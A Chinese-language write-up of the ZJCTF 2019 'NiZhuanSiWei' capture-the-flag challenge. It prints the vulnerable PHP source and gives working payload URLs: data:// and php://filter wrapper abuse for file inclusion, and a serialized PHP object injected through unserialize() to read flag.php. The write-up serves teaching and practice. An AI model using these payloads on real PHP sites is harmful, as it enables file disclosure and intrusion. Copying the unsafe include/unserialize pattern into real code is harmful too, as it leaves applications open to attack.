[ZJCTF 2019]NiZhuanSiWei

Posted 2020-11-25 gaonuoqi

题目源码如下

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,‘r‘)."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

源码分析

if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf"))

需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤， 这里可以用php://input伪协议在以POST形式传入“ welcome to the zjctf "   也可以用data伪协议传参

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

接着看到

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;

直接正则过滤掉flag关键字，提示一个useless.php 用php://filter协议来读取

结合题目构造payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码获得useless.php源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

根据源代码在本地获得序列化结果

<?php  
class Flag{
    public $file=‘flag.php‘;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password=new Flag();
$password = serialize($password);
echo $password; 
?>  

结果为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

最终的payload为

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag在F12源代码里面